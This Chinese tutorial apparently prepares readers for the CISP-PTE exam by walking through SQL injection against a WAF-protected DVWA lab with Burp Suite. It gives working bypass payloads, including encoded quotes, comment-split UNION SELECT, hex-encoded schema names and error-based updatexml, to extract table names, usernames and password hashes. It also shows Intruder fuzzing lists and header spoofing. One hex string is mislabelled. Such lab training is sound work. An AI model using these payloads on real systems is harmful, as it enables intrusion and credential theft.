1. 项目概述:一次完整的SQL注入攻防演练
看到这个标题,很多刚入门网络安全的朋友可能会觉得既兴奋又有点无从下手。SQL注入,这个在OWASP Top 10榜单上常年霸榜的经典漏洞,几乎是每个渗透测试工程师和红队成员的“必修课”。但现实情况是,现在稍微有点规模的网站,前面都杵着一个WAF(Web应用防火墙),你直接扔个‘ or 1=1--上去,大概率只会收到一个冷冰冰的“非法请求”拦截页面。这感觉就像你刚学会了一套拳法,准备大展身手,却发现对手穿上了全身盔甲。
我干了十多年渗透测试,带过不少新人,也参与过CISP-PTE这类认证的考前辅导。我发现一个普遍问题:很多朋友学SQL注入,就是背payload、刷靶场,一旦遇到真实环境或者加了WAF的靶场,立刻就懵了。他们知道要“绕过”,但不知道“为什么能绕过”以及“怎么系统地绕”。所以,今天我就想结合Burp Suite这个渗透测试的“瑞士军刀”,从头到尾拆解一遍,如何像外科手术一样,一步步解剖一个有WAF防护的目标,完成一次有效的SQL注入。这个过程,本身也是CISP-PTE等实操考试中核心能力的体现——不是比谁记得payload多,而是比谁的分析思路更清晰,工具用得更有章法。
简单来说,这次我们要做的,就是模拟一个真实攻击者的思考路径:从最基础的信息探测开始,判断注入点类型,然后面对WAF的拦截规则,利用各种技巧(比如特殊字符变形、编码混淆、逻辑等价替换)去试探和绕过,最终拿到我们想要的数据。Burp Suite会在整个过程中扮演核心角色,它不仅是抓包改包的工具,更是我们分析HTTP请求、自动化探测漏洞的“大脑”。我会把每个步骤背后的原理、为什么这么操作、以及我踩过的那些坑,都掰开揉碎了讲清楚。无论你是想扎实掌握SQL注入实战,还是为CISP-PTE考试做准备,这篇内容都能给你提供一条清晰的路径。
2. 核心思路:绕过WAF的本质是“欺骗”与“试探”
在开始动手之前,我们必须把思路理清楚。很多人一上来就急着打开Burp Suite狂发payload,这是效率最低的做法。绕过WAF进行SQL注入,本质上是一场“规则对抗游戏”。WAF内置了一系列正则表达式或语义分析规则,用来匹配常见的攻击特征。我们的目标,就是让我们的payload“看起来”不像攻击。
2.1 理解WAF的检测逻辑
WAF不是神,它的检测主要基于几点:
- 关键词匹配:这是最基础的。像
UNION SELECT,OR 1=1,sleep(),information_schema这些字符串,一旦在请求参数中出现,就可能被直接拦截。 - 特殊字符频率与组合:单引号
‘、双引号“、注释符--、/**/等,如果出现的数量、位置或组合方式异常,也会触发警报。 - 语法/语义分析:高级一点的WAF会尝试解析SQL语句的语法结构。比如,它发现你的输入拼接进SQL后,产生了永远为真的条件(如
or 1=1),即使你没有用敏感词,也可能被拦截。 - 行为异常检测:短时间内大量发送带有相似攻击特征的请求,会被认为是扫描或爆破行为。
所以,我们的绕过思路就对应产生了:
- 针对关键词匹配:变形、分割、编码。把
UNION SELECT写成UNI/**/ON SEL/**/ECT,或者用URL编码、十六进制编码、Unicode编码等方式处理敏感词。 - 针对特殊字符:寻找等价替换。比如用
&&代替AND(在某些数据库如MySQL中),用||代替OR,或者用like、rlike等操作符进行模糊匹配来替代等号=。 - 针对语法分析:构造合法但有害的语句。利用数据库特性,比如MySQL的
/*!50000select*/这种内联注释,在特定版本下会被执行,但WAF可能不将其识别为select关键字。 - 针对行为异常:降低请求频率,加入随机延迟,变换User-Agent等请求头,模拟正常用户行为。
2.2 工具选型:为什么是Burp Suite?
市面上能抓包改包的工具很多,为什么首选Burp Suite?因为它提供了一个完整的“攻击面管理”工作流。从目标探测(Target),到请求拦截与修改(Proxy),再到自动化扫描与漏洞验证(Scanner, Intruder),最后到手动深入利用(Repeater),它形成了一条闭环。对于SQL注入绕过这种需要大量手动调试和模糊测试的场景,Burp Suite的Repeater(中继器)和Intruder(入侵者)模块是不可替代的。
- Repeater:相当于你的手工测试工作台。你可以把一个HTTP请求发送到这里,然后随意修改参数,一次次地重放,并即时观察响应。在绕过WAF时,你需要反复微调payload,观察WAF是拦截、放行还是返回了不同的错误信息,Repeater是完成这个“试探-反馈”循环的最佳场所。
- Intruder:当你需要系统性地测试大量payload变体时(比如测试上百种编码方式),手动在Repeater里改会累死。Intruder可以自动化这个过程。你可以标记出要爆破的位置(比如一个参数值),然后加载一个包含各种绕过payload的字典,让它自动发送请求并记录结果。通过筛选响应长度、状态码或关键词,快速找出被WAF放行的payload。
我的实操心得:新手常犯的一个错误是过度依赖自动化扫描器(如Burp的Active Scan)。对于有WAF的环境,主动扫描的payload往往很“标准”,极易被拦截,而且会产生大量告警日志。手动、低速、有策略的探测,才是绕过WAF的王道。Burp Suite在这里的价值,是放大你手动测试的效率,而不是替代你的思考。
3. 实战环境搭建与基础信息收集
“工欲善其事,必先利其器”。在开始真正的攻击之前,我们需要一个安全的练习环境,并把Burp Suite配置好。
3.1 靶场选择与配置
绝对不要在未经授权的真实网站上进行测试!那是违法的。我们需要本地或可控的漏洞靶场。根据热搜词,几个优秀的选择是:
- DVWA (Damn Vulnerable Web Application):非常适合新手。它提供了从低到高(Low, Medium, High, Impossible)的安全等级,你可以直观地看到不同防护级别下代码的变化,以及WAF(模拟)规则是如何逐步加强的。
- Pikachu:一个中文的漏洞练习平台,覆盖了各种类型的SQL注入(数字型、字符型、搜索型、xx型、盲注等),题目设计更贴近国内CTF比赛和教学场景。
- sqli-labs:专注于SQL注入的经典靶场,关卡设计由浅入深,是系统化学习注入技巧的绝佳选择。
这里我以DVWA为例,并将其安全级别设置为High。High级别通常会模拟一些基础的过滤和检查机制,类似于一个简易的WAF,非常适合我们做绕过练习。
3.2 Burp Suite基础配置
- 浏览器代理设置:让你的浏览器(以Chrome为例)流量经过Burp Suite。在Burp中,
Proxy->Options,确保代理监听在127.0.0.1:8080。然后在浏览器网络设置中,配置手动代理为相同地址。 - 安装CA证书:为了拦截和解密HTTPS流量,需要在浏览器中安装Burp Suite生成的CA证书。访问
http://burp,下载证书并导入到浏览器的证书管理机构。 - 关键模块准备:
- Proxy:确保
Intercept is on,这样你就能在浏览器访问DVWA时,在Burp中看到HTTP请求。 - Target:将你的靶场地址(如
http://192.168.1.100/dvwa)添加到目标作用域(Scope),方便后续过滤流量。 - Repeater和Intruder:待会儿是我们的主战场。
- Proxy:确保
注意事项:很多朋友找“Burp Suite专业汉化版”或“注册码”,这里我强烈建议,学习阶段请使用官方免费版(Community Edition)。免费版的功能对于学习SQL注入、手动测试来说已经完全足够(Repeater, Intruder, Scanner的基础功能都有)。使用破解版或来路不明的汉化版,可能引入安全风险或稳定性问题。英文界面并不复杂,常用单词就那几个,熟悉了反而更高效。
3.3 初步探测与注入点识别
配置好后,我们访问DVWA的SQL Injection页面。在输入框随便输入一个ID,比如1,点击提交。
- 拦截请求:在Burp的Proxy模块,你会看到拦截到的GET请求,类似:
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1 - 发送到Repeater:右键点击这个请求,选择
Send to Repeater。现在,我们可以在Repeater里安全地“玩弄”这个id参数了。 - 基础注入测试:首先,我们得确认这里是否存在注入点,以及是什么类型。
- 在Repeater里,把
id=1改成id=1‘(数字后加一个单引号),点击Send。观察返回页面。 - 如果页面返回了数据库错误信息(如
You have an error in your SQL syntax...),那太好了,说明存在SQL注入漏洞,并且可能是字符型注入(因为单引号破坏了语法)。 - 如果页面正常返回了ID为1的用户信息,或者返回了一个空白/错误页但没有SQL报错,那可能是数字型注入,或者有某种过滤。我们可以再测试
id=1 and 1=1和id=1 and 1=2。如果前者正常返回,后者返回异常(无数据或错误),则基本确认是数字型注入。
- 在Repeater里,把
假设我们测试id=1‘时,返回了一个非常友好的错误页面,并且页面顶部出现了类似“Security Alert: Illegal input detected!”的警告。这很可能就是DVWA在High级别下模拟的WAF生效了,它检测到了单引号这个危险字符。
我们的战斗,现在才真正开始。
4. 手把手绕过:从字符型注入到数据获取
现在,我们面对一个会拦截单引号的“WAF”。我们的目标是:利用这个注入点,最终获取数据库中的用户表数据。
4.1 第一关:绕过单引号检测
既然直接的单引号‘被拦,我们就要想办法让它“隐形”。
方法一:URL编码单引号的URL编码是%27。在Repeater中,把id=1‘改成id=1%27,发送。有时候,WAF只检查原始字符,不检查解码后的内容。如果成功绕过,你会看到SQL报错信息。
方法二:双重URL编码如果%27也被识别了怎么办?我们可以对%27再进行一次编码。%的URL编码是%25,所以%27双重编码后是%2527。尝试id=1%2527。
方法三:使用十六进制或Unicode编码在MySQL中,字符串可以用十六进制表示。‘的十六进制是0x27。我们可以尝试用id=1 0x27(注意空格),或者更常见的,在注入字符串部分使用十六进制。例如,如果我们想注入‘ or ‘1’=’1,可以尝试将其整体转换为十六进制。但这里我们只是测试引号,可以更简单。
方法四:寻找替代字符在某些数据库上下文或特定过滤规则下,可以用其他字符“闭合”语句。比如,如果原SQL是‘$input‘,我们输入1‘,闭合后是‘1‘‘,多了一个引号。如果我们输入1\‘,可能变成‘1\‘‘,反斜杠转义了后面的引号,导致后面的引号成了字符串的一部分,从而改变了逻辑。这需要尝试。
实操心得:不要盲目尝试所有方法。先试最简单的URL编码。如果不行,观察返回信息。如果返回的是统一的“非法输入”页面,说明是关键词/字符黑名单机制。如果返回的是不同的错误(比如有时是WAF拦截页,有时是数据库错误页),说明你的某个payload可能部分绕过了检测,触发了数据库查询。后者是更积极的信号,要重点分析那个“半成功”的payload。
假设我们尝试id=1%27后,看到了熟悉的MySQL语法错误。恭喜,我们绕过了对单引号的直接检测。
4.2 第二关:探测过滤规则与构造有效Payload
现在我们知道%27可以代表单引号。接下来,我们要测试其他SQL关键词是否被过滤。
步骤:使用逻辑测试
- 构造一个永真条件:
id=1%27+or+%271%27=%271- 这里
+在URL中代表空格(Burp里也可以用%20)。这个payload的意思是id=‘1‘ or ‘1‘=‘1‘,应该返回所有数据。
- 这里
- 发送请求。如果被拦截,说明
or、=或空格可能被过滤了。 - 如果被拦截,我们开始变形:
- 替换
or:尝试||(逻辑或)。Payload:id=1%27+||+%271%27=%271 - 替换空格:尝试注释符
/**/。Payload:id=1%27/**/or/**/%271%27=%271 - 替换
=:尝试like。Payload:id=1%27+or+%271%27+like+%271%27 - 大小写混合:尝试
Or,oR,OR。 - 内联注释(MySQL特有):尝试
id=1%27+/*!50000or*/+%271%27=%271。/*!50000...*/在MySQL中,当版本号大于等于5.00.00时,其中的内容会被执行。
- 替换
通过反复测试,我们可能发现,or和空格一起出现会被拦截,但使用||和/**/可以绕过。那么我们的基础绕过语法就确定了:用||代替or,用/**/代替空格。
4.3 第三关:联合查询(UNION SELECT)的绕过
获取数据最常用的方式是联合查询。但UNION SELECT是WAF的重点关照对象。
绕过策略:
- 分割关键词:
UNION SELECT->UNI/**/ON/**/SEL/**/ECT - 结合编码:对部分字符进行URL编码。例如:
UNI%4f%4e%20SEL%45CT(这里对ON和ECT的字母进行了十六进制编码,但%20是空格,可能被拦,可以换成/**/)。 - 使用非常规语法:在MySQL中,
UNION和SELECT之间可以不加空格吗?不可以,但可以用注释符。也可以尝试UNION(SELECT,用括号紧贴。 - 分步测试:先测试
UNION能否单独通过,再测试SELECT。有时候WAF的规则是组合规则。
假设我们最终找到的有效payload格式是:UNI/**/ON/**/SEL/**/ECT。
确定列数: 使用order by或group by子句。因为order by也可能被过滤,我们可以用其等价形式或注释分割。例如:id=1%27/**/order/**/by/**/3--+--+是注释符,将后面的SQL语句注释掉。+代表空格,确保注释符生效。如果order by 3返回正常,order by 4返回错误,说明当前查询有3列。
实施联合查询: 知道了列数(假设为3),我们就可以构造联合查询来获取信息了。例如,获取当前数据库和用户:id=-1%27/**/UNI/**/ON/**/SEL/**/ECT/**/1,database(),user()--+注意这里把原id值设为-1或一个不存在的值,是为了让前一个SELECT不返回数据,从而确保页面显示的是我们UNION SELECT的结果。
4.4 第四关:获取表名、列名与数据
这是最后一步,也是信息量最大的一步。需要查询information_schema数据库,这里面的tables表和columns表是WAF的超级重点监控对象。
高级绕过技巧:
- 别名与重命名:
from information_schema.tables可以写成from information_schema.tables a。 - 反引号:在MySQL中,用反引号包裹数据库名、表名、列名可以避免一些解析问题,有时也能绕过简单的字符串匹配。
select table_name frominformation_schema.tables``。 - 等价替换:
information_schema.tables在某些情况下可以用mysql.innodb_table_stats等替代来获取表名,但这不通用。最可靠的还是想办法绕过对information_schema的检测。 - 分段获取:不要企图一次
SELECT就拿到所有表名。先获取一个表名,再根据这个表名去获取它的列名。这样可以构造更短、特征更不明显的payload。 - 使用
concat和group_concat:为了在一个字段里显示更多信息,减少请求次数。例如,一次性获取所有表名:select group_concat(table_name) from information_schema.tables where table_schema=database()。但group_concat本身也是个敏感词。 - Hex编码:将我们要查询的关键词进行十六进制编码。例如,
information_schema的十六进制是0x696e666f726d6174696f6e5f736368656d61。那么查询可以写成:UNI/**/ON/**/SEL/**/ECT/**/1,table_name,3/**/from/**/(select/**/table_name/**/from/**/0x696e666f726d6174696f6e5f736368656d61.tables/**/where/**/table_schema=database()/**/limit/**/0,1)a--+这里我们把information_schema直接替换成了它的十六进制形式,完全避免了字符串的出现。
实战流程示例:假设我们已经可以执行UNION SELECT,并且确定了绕过information_schema的方法(比如用十六进制)。
- 获取当前数据库的表名:
id=-1%27/**/UNI/**/ON/**/SEL/**/ECT/**/1,(select/**/group_concat(table_name)/**/from/**/0x696e666f726d6174696f6e5f736368656d61.tables/**/where/**/table_schema=database()),3--+返回结果可能是:guestbook,users。 - 获取目标表(如users)的列名:
id=-1%27/**/UNI/**/ON/**/SEL/**/ECT/**/1,(select/**/group_concat(column_name)/**/from/**/0x696e666f726d7261.columns/**/where/**/table_name=0x7573657273),3--+注意:这里information_schema.columns也用了十六进制,users表名也转成了十六进制0x7573657273。返回结果可能是:user_id,first_name,last_name,user,password,avatar。 - 最终提取数据:
id=-1%27/**/UNI/**/ON/**/SEL/**/ECT/**/1,concat(user,0x3a,password),3/**/from/**/users--+这里0x3a是冒号:的十六进制,用于分隔用户名和密码。返回结果就是梦寐以求的admin:5f4dcc3b5aa765d61d8327deb882cf99(经过MD5哈希的密码)之类的数据了。
5. 利用Burp Suite Intruder进行自动化模糊测试
手动在Repeater里修改测试虽然精准,但效率低。当我们不确定哪个关键词被过滤,或者需要测试大量编码变体时,Intruder就派上用场了。
场景:我们想知道union select这个短语,用什么方式分割能绕过WAF。
操作步骤:
- 在Repeater中,构造一个基础的、包含注入点的请求,例如:
id=1%27 UNION SELECT 1,2,3--+,但此时UNION SELECT可能被拦。 - 右键,选择
Send to Intruder。 - 在Intruder的
Positions标签页,清除所有自动标记的变量(Clear §),然后手动选中UNION SELECT这部分,点击Add §。这样就把UNION SELECT标记为我们要爆破的位置。 - 切换到
Payloads标签页。我们需要一个payload字典。可以手动添加,也可以使用Burp自带的“Fuzzing - SQL Injection”字典,或者自己用脚本生成一个。这里我们手动添加一些常见变体:UNI/**/ON SEL/**/ECTUNI%4f%4e%20SEL%45CT/*!50000union*/selectUnIoN SeLeCtunion%0aselect(%0a是换行符)union%09select(%09是制表符)union all select(用all分割)
- 在
Options标签页,可以设置请求间隔(如100毫秒)以避免触发频率警报。 - 点击
Start attack。Intruder会使用列表中的每一个payload替换原位置,并发送请求。 - 攻击完成后,观察结果。关键看“Length”列和“Status”列。如果某个payload的响应长度与其他被拦截的请求(可能都是统一的错误页长度)明显不同,或者状态码不同(比如别的都是403,它是200),那么这个payload很可能成功绕过了检测。双击这个请求,查看响应内容,确认是否出现了我们期望的
UNION SELECT结果(比如显示了数字2和3)。
通过Intruder,我们可以系统性地测试大量绕过技巧,快速定位有效的payload格式,极大提升效率。
6. CISP-PTE考试相关技巧与实战注意事项
CISP-PTE等实操认证考试,非常注重流程的规范性和思考的逻辑性。SQL注入绕过是常考考点。结合上面的实战,我分享几点备考和应试心得:
- 流程大于技巧:考试时,一定要展现出完整的测试流程。即使你一眼就看出了漏洞,也要按部就班地演示:① 正常请求;② 单引号/永真永假测试,确认注入点与类型;③ 测试WAF/过滤规则(尝试编码、替换运算符);④ 确定列数;⑤ 实施联合查询获取信息。考官想看的是你的方法论,而不只是最终结果。
- 善用工具,但别依赖工具:考试环境通常允许使用Burp Suite等工具。要熟练使用Repeater和Intruder。但要知道,高级WAF可能拦截Intruder的快速请求。手动、低速的Repeater测试往往更可靠。要展示你如何分析响应,调整payload。
- 理解错误信息:无论是数据库报错、WAF拦截页还是普通的404/500错误,都要能解读其含义。一个详细的SQL语法错误能告诉你闭合方式、数据库类型等信息,这是黄金线索。
- 准备自己的“武器库”:提前整理好一个文本文件,里面分类存放各种绕过payload,比如:
- 空格绕过:
/**/,%0a,%0d,%09,%0b,%a0 - 关键词分割:
SEL<任意字符>ECT(利用注释),/*!50000select*/ - 编码方式:URL编码、双重URL编码、十六进制编码、Unicode编码
- 等价替换:
&&forAND,||forOR,like/rlikefor=,<>for!=考试时可以直接复制粘贴,节省时间。
- 空格绕过:
- 注意时间管理:实操考试时间有限。如果在一个点上卡住超过10分钟,不妨先记录下当前进展,跳过去做其他题目。有时候回头再看,或者在做其他题目的过程中,可能会获得新的灵感。
- 文档记录:养成随手在Burp Suite的
Notes功能或记事本里记录有效payload和对应响应的习惯。这在考试汇报和日常工作中都非常重要。
7. 常见问题与排查技巧实录
在实际操作中,你肯定会遇到各种意想不到的情况。下面是我总结的一些典型问题及解决思路:
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
发送任何带有特殊字符(如‘)的请求,都返回相同的“非法输入”页面。 | WAF启用了非常严格的关键词/字符黑名单,或者请求直接被前置的IPS/IDS设备阻断。 | 1.降低攻击特征:尝试使用最普通的数字、字母参数,确认服务是否正常响应。 2.变换HTTP方法:GET被拦,尝试POST(如果功能支持)。 3.修改HTTP头:添加或修改一些头部,如 X-Forwarded-For: 127.0.0.1,Referer: 同源地址,有些WAF对头部检查较松。4.尝试参数污染:提交多个同名参数,如 id=1&id=2‘,不同服务器解析方式不同,可能绕过。 |
部分payload能触发数据库错误,但一到UNION SELECT就又被拦截。 | WAF有针对UNION、SELECT等关键字的独立或组合规则。 | 1.系统化测试:用Intruder分别测试UNION和SELECT的绕过,再测试组合。2.尝试非联合查询注入:如果 UNION实在绕不过,考虑使用报错注入或盲注。报错注入利用extractvalue(),updatexml()等函数,盲注则通过页面真/假响应差异来推断数据。这通常是CISP-PTE考试的高级考点。 |
| 在本地DVWA成功,但换一个靶场(如Pikachu)同样的方法失效。 | 不同靶场模拟的过滤规则、数据库类型(MySQL, SQL Server, PostgreSQL等)、代码逻辑不同。 | 1.重新判断注入类型:从头开始,用‘,“,)‘等测试闭合方式。2.识别数据库:通过错误信息、版本函数(如 @@version,version())判断数据库类型,不同数据库的语法和函数有差异。3.调整绕过策略:SQL Server常用 --注释,MySQL用#或--+;字符串拼接函数也不同。 |
| Intruder攻击结果中,所有响应长度都差不多,无法区分。 | WAF可能返回了自定义的错误页,但状态码是200;或者无论是否拦截,返回的页面大小都经过处理。 | 1.观察响应内容:不要只看长度,要双击查看每个响应的HTML源码。寻找细微差别,比如错误信息的措辞、某个隐藏标签的存在与否。 2.使用Grep Match:在Intruder的 Options->Grep - Match中,设置一个成功时页面会出现的字符串(如“Surname”),让Intruder自动标记出来。3.检查响应时间:有时盲注成功与否会导致响应时间有细微差异(如果使用了时间延迟函数如 sleep())。 |
明明有SQL报错,但information_schema被过滤得死死的。 | 目标系统可能权限不足,或者information_schema被重命名、禁用(较少见),更可能是WAF规则很强。 | 1.尝试其他系统表:MySQL 5.7+可以尝试sys.schema_table_statistics。但这不是通用解。2.深入利用报错注入:如果报错信息能回显数据,可以不用查 information_schema。例如,and updatexml(1,concat(0x7e,(select database()),0x7e),1),可以直接在报错信息中爆出数据库名。然后通过无列名注入技术,在不知道列名的情况下查询数据,这需要更高级的技巧,如利用子查询和别名。 |
最后我想说,SQL注入绕过是一门“手艺活”,没有一成不变的银弹。它考验的是你对HTTP协议、SQL语法、数据库特性、WAF工作原理的综合理解,以及耐心和创造力。最好的学习方法,就是在DVWA、Pikachu、sqli-labs这些靶场里,把安全级别调到最高,亲手去触发每一次拦截,然后思考如何突破它。每一次成功的绕过,都会让你对这门技术的理解加深一分。Burp Suite是你手中的利器,但真正强大的,是使用它的大脑。